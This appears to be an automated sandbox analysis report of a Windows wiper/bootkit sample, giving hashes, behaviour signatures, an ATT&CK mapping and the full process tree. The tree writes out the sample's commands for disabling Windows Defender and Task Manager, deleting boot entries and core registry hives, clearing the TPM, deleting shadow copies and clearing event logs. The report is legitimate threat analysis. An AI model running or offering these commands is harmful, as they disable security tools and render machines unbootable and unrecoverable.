5aa5558df2265cc33c532e080c87c65ba0930cf9ab61a0c5a3aa3fd5c101b334

Analysis

max time kernel
7s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260706-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
08/07/2026, 19:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
boykisser.exe
Size 1.9MB
Sample260708-xn9cvsft4j
SHA256 5aa5558df2265cc33c532e080c87c65ba0930cf9ab61a0c5a3aa3fd5c101b334
MD5 85ff53ffaf350ac7fdb71fbb5e229cd4
SHA1 d197c67395351861c58e453cfe74ab6b9423f45c
SHA512 01dbb5b43c57343777a8c376e8e13f81119711fc509324e2e77b7fe3f6289fa20a4b3e8f3aa4e2f21a6b84c0aadbee887fd6dab0db67400c352e7a0948034218
SSDEEP 12288:vSna4X9HQJsvuDncq9RosGSFjAejRKtAEh+C10SaO/ekKYgt1EW7++d3d5xBUJf4:Ea4XNUcqkcnNKtcC15WkBgfEW735U5c
TLSH
T10995290FBF7695A8D0F5C1B4D257F062AE63B84B131969A673DC5320DB21A0236C86FD
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

bootkit defense_evasion evasion execution persistence ransomware trojan

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion
Modifies service settings 1 TTPs
Alters the configuration of existing services.
defense_evasion

Windows Service
T1543.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Modifies boot configuration data using bcdedit 10 IoCs

pid	Process
260	bcdedit.exe
5232	bcdedit.exe
1288	bcdedit.exe
5796	bcdedit.exe
5068	bcdedit.exe
1696	bcdedit.exe
3388	bcdedit.exe
5984	bcdedit.exe
5440	bcdedit.exe
5752	bcdedit.exe

Power Settings 1 TTPs 1 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
6060	powercfg.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	boykisser.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	reagentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	reagentc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\updwall.jpg"	boykisser.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe

Launches sc.exe 13 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5956	sc.exe
2876	sc.exe
5892	sc.exe
3908	sc.exe
5704	sc.exe
3584	sc.exe
5340	sc.exe
3020	sc.exe
1108	sc.exe
5428	sc.exe
5688	sc.exe
4216	sc.exe
5808	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4796	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1340	boykisser.exe
1340	boykisser.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 1340 wrote to memory of 6020	1340	boykisser.exe	89
PID 1340 wrote to memory of 3568	1340	boykisser.exe	91
PID 1340 wrote to memory of 4964	1340	boykisser.exe	93
PID 1340 wrote to memory of 4956	1340	boykisser.exe	95
PID 1340 wrote to memory of 5940	1340	boykisser.exe	97
PID 1340 wrote to memory of 5808	1340	boykisser.exe	99
PID 1340 wrote to memory of 3020	1340	boykisser.exe	101
PID 1340 wrote to memory of 5956	1340	boykisser.exe	103
PID 1340 wrote to memory of 1108	1340	boykisser.exe	105
PID 1340 wrote to memory of 5428	1340	boykisser.exe	107
PID 1340 wrote to memory of 5688	1340	boykisser.exe	109
PID 1340 wrote to memory of 2876	1340	boykisser.exe	111
PID 1340 wrote to memory of 5892	1340	boykisser.exe	113
PID 1340 wrote to memory of 3908	1340	boykisser.exe	115
PID 1340 wrote to memory of 5704	1340	boykisser.exe	117
PID 1340 wrote to memory of 2436	1340	boykisser.exe	119
PID 2436 wrote to memory of 3312	2436	cmd.exe	121
PID 1340 wrote to memory of 3536	1340	boykisser.exe	122
PID 1340 wrote to memory of 4524	1340	boykisser.exe	123

C:\Users\Admin\AppData\Local\Temp\boykisser.exe
"C:\Users\Admin\AppData\Local\Temp\boykisser.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Sets desktop wallpaper using registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1340
- C:\Windows\SYSTEM32\reg.exe
  "reg" "add" "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" "/v" "DisableTaskMgr" "/t" "REG_DWORD" "/d" "1" "/f"
  2⤵
  PID:6020
- C:\Windows\SYSTEM32\reg.exe
  "reg" "add" "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" "/v" "DisableTaskMgr" "/t" "REG_DWORD" "/d" "1" "/f"
  2⤵
  PID:3568
- C:\Windows\SYSTEM32\reg.exe
  "reg" "add" "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" "/v" "DisableAntiSpyware" "/t" "REG_DWORD" "/d" "1" "/f"
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:4964
- C:\Windows\SYSTEM32\reg.exe
  "reg" "add" "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" "/v" "DisableRealtimeMonitoring" "/t" "REG_DWORD" "/d" "1" "/f"
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4956
- C:\Windows\SYSTEM32\reg.exe
  "reg" "add" "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" "/v" "DisableBehaviorMonitoring" "/t" "REG_DWORD" "/d" "1" "/f"
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:5940
- C:\Windows\SYSTEM32\sc.exe
  "sc" "stop" "WinDefend"
  2⤵
  - Launches sc.exe
  PID:5808
- C:\Windows\SYSTEM32\sc.exe
  "sc" "config" "WinDefend" "start=" "disabled"
  2⤵
  - Launches sc.exe
  PID:3020
- C:\Windows\SYSTEM32\sc.exe
  "sc" "stop" "Sense"
  2⤵
  - Launches sc.exe
  PID:5956
- C:\Windows\SYSTEM32\sc.exe
  "sc" "config" "Sense" "start=" "disabled"
  2⤵
  - Launches sc.exe
  PID:1108
- C:\Windows\SYSTEM32\sc.exe
  "sc" "stop" "WdNisSvc"
  2⤵
  - Launches sc.exe
  PID:5428
- C:\Windows\SYSTEM32\sc.exe
  "sc" "config" "WdNisSvc" "start=" "disabled"
  2⤵
  - Launches sc.exe
  PID:5688
- C:\Windows\SYSTEM32\sc.exe
  "sc" "stop" "WdBoot"
  2⤵
  - Launches sc.exe
  PID:2876
- C:\Windows\SYSTEM32\sc.exe
  "sc" "config" "WdBoot" "start=" "disabled"
  2⤵
  - Launches sc.exe
  PID:5892
- C:\Windows\SYSTEM32\sc.exe
  "sc" "stop" "WdFilter"
  2⤵
  - Launches sc.exe
  PID:3908
- C:\Windows\SYSTEM32\sc.exe
  "sc" "config" "WdFilter" "start=" "disabled"
  2⤵
  - Launches sc.exe
  PID:5704
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" "/c" "reg" "delete" "HKLM\BCD00000000" "/f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2436
- - C:\Windows\system32\reg.exe
    "reg" "delete" "HKLM\BCD00000000" "/f
    3⤵
    PID:3312
- C:\Windows\SYSTEM32\wscript.exe
  "wscript.exe" "//Nologo" "C:\Users\Admin\AppData\Local\Temp\rrs.vbs"
  2⤵
  PID:3536
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" "javascript:new ActiveXObject('WScript.Shell').Popup('We\'re',0,'Never Gonna Give You Up',64);close()"
    3⤵
    PID:6024
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" "javascript:new ActiveXObject('WScript.Shell').Popup('no',0,'Never Gonna Give You Up',64);close()"
    3⤵
    PID:1472
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" "javascript:new ActiveXObject('WScript.Shell').Popup('strangers',0,'Never Gonna Give You Up',64);close()"
    3⤵
    PID:5024
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" "javascript:new ActiveXObject('WScript.Shell').Popup('to',0,'Never Gonna Give You Up',64);close()"
    3⤵
    PID:984
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" "javascript:new ActiveXObject('WScript.Shell').Popup('love',0,'Never Gonna Give You Up',64);close()"
    3⤵
    PID:3056
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" "javascript:new ActiveXObject('WScript.Shell').Popup('You',0,'Never Gonna Give You Up',64);close()"
    3⤵
    PID:5540
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" "javascript:new ActiveXObject('WScript.Shell').Popup('know',0,'Never Gonna Give You Up',64);close()"
    3⤵
    PID:3908
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" "javascript:new ActiveXObject('WScript.Shell').Popup('the',0,'Never Gonna Give You Up',64);close()"
    3⤵
    PID:3348
- C:\Windows\SYSTEM32\reagentc.exe
  "reagentc" "/disable"
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:4524
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/set" "{default}" "recoveryenabled" "No"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:260
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/set" "{default}" "nx" "AlwaysOff"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5232
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/set" "{default}" "pae" "ForceDisable"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1288
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/set" "{default}" "bootlog" "Yes"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5796
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/set" "{default}" "noserialmice" "Yes"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5068
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/set" "{default}" "safeboot" "Minimal"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1696
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/set" "{default}" "safebootalternateshell" "yes"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3388
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/delete" "{current}" "/f"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5984
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/delete" "{bootmgr}" "/f"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5752
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit" "/delete" "{memdiag}" "/f"
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5440
- C:\Windows\SYSTEM32\reg.exe
  "reg" "delete" "HKLM\SAM\SAM" "/f"
  2⤵
  PID:4252
- C:\Windows\SYSTEM32\reg.exe
  "reg" "delete" "HKLM\SAM\Domains" "/f"
  2⤵
  PID:5820
- C:\Windows\SYSTEM32\reg.exe
  "reg" "delete" "HKLM\SYSTEM\CurrentControlSet\Services" "/f"
  2⤵
  PID:1732
- C:\Windows\SYSTEM32\reg.exe
  "reg" "delete" "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" "/f"
  2⤵
  PID:5108
- C:\Windows\SYSTEM32\reg.exe
  "reg" "add" "HKLM\SYSTEM\CurrentControlSet\Control" "/v" "SystemStartOptions" "/t" "REG_SZ" "/d" "GARBAGE" "/f"
  2⤵
  PID:2504
- C:\Windows\SYSTEM32\reg.exe
  "reg" "delete" "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" "/f"
  2⤵
  PID:2080
- C:\Windows\SYSTEM32\reg.exe
  "reg" "delete" "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" "/f"
  2⤵
  PID:2468
- C:\Windows\SYSTEM32\reg.exe
  "reg" "delete" "HKLM\SECURITY\Policy" "/f"
  2⤵
  PID:6048
- C:\Windows\SYSTEM32\reg.exe
  "reg" "delete" "HKLM\DEFAULT\Software" "/f"
  2⤵
  PID:1992
- C:\Windows\SYSTEM32\fsutil.exe
  "fsutil" "dirty" "set" "C:"
  2⤵
  PID:3104
- C:\Windows\SYSTEM32\tpmtool.exe
  "tpmtool" "clear"
  2⤵
  PID:4848
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" "/namespace:\\root\cimv2\security\microsofttpm" "path" "Win32_Tpm" "call" "Clear"
  2⤵
  PID:756
- C:\Windows\SYSTEM32\sc.exe
  "sc" "stop" "VSS"
  2⤵
  - Launches sc.exe
  PID:3584
- C:\Windows\SYSTEM32\sc.exe
  "sc" "config" "VSS" "start=" "disabled"
  2⤵
  - Launches sc.exe
  PID:5340
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin" "delete" "shadows" "/all" "/quiet"
  2⤵
  - Interacts with shadow copies
  PID:4796
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" "shadowcopy" "delete"
  2⤵
  PID:4932
- C:\Windows\SYSTEM32\sc.exe
  "sc" "query" "type=" "service" "state=" "all"
  2⤵
  - Launches sc.exe
  PID:4216
- C:\Windows\SYSTEM32\wevtutil.exe
  "wevtutil" "cl" "Application"
  2⤵
  PID:4956
- C:\Windows\SYSTEM32\wevtutil.exe
  "wevtutil" "cl" "System"
  2⤵
  PID:1848
- C:\Windows\SYSTEM32\wevtutil.exe
  "wevtutil" "cl" "Security"
  2⤵
  PID:4408
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" "computersystem" "set" "AutomaticManagedPagefile=False"
  2⤵
  PID:2684
- C:\Windows\SYSTEM32\powercfg.exe
  "powercfg" "/h" "off"
  2⤵
  - Power Settings
  PID:6060

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
PID:204

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

rrs.vbs

Path C:\Users\Admin\AppData\Local\Temp\rrs.vbs
Size 55KB
SHA256 3a422b1324de7684c662d395b6e5f9c7dc73f4d1a191434dfb3f79f35e2f651d
MD5 8d63cfb8689de1da3796796c776cfd42
SHA1 8230f2c22a0f523987587e92d2397f8b6db36859
SHA512 5097099bb33302afb61fd6d408ad5e3ffd3702cc7a36ed5e6705a6154235757ab271a68371e71ef9e2d8b95a869e55f0cf7b5c298b7719356ed2abb961ce15bf
SSDEEP 96:9THBc7Xv3Lh+WynWynfK05+ceiL9Vfr3bi0QtSyFsDvje/Xgz9XFGQRH9UXF3Q/O:SDe74P8IvFNKNKZTGhS
TLSH
T154434B1C1C4DC89D8A29E3670B33C5EACBC128A73103DC7BD6B8E588657F6C51596C6E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1340-19-0x00007FF6BC7B0000-0x00007FF6BC99A000-memory.dmp

Download